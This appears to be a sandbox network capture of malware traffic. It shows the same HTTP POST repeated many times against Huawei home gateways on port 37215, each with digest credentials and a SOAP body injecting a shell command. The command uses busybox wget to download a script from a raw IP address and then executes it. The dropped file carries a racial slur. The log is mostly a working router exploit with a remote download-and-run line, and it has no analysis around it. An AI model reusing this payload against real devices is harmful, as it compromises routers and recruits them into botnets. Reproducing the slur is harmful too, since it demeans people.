Feb 19, 2024 18:36:03.087773085 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:12.046493053 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:30.220077038 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:07.079049110 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.23	34586	31.136.242.93	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.526680946 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:55.088923931 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.208719015 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:58.480434895 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:03.087773085 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
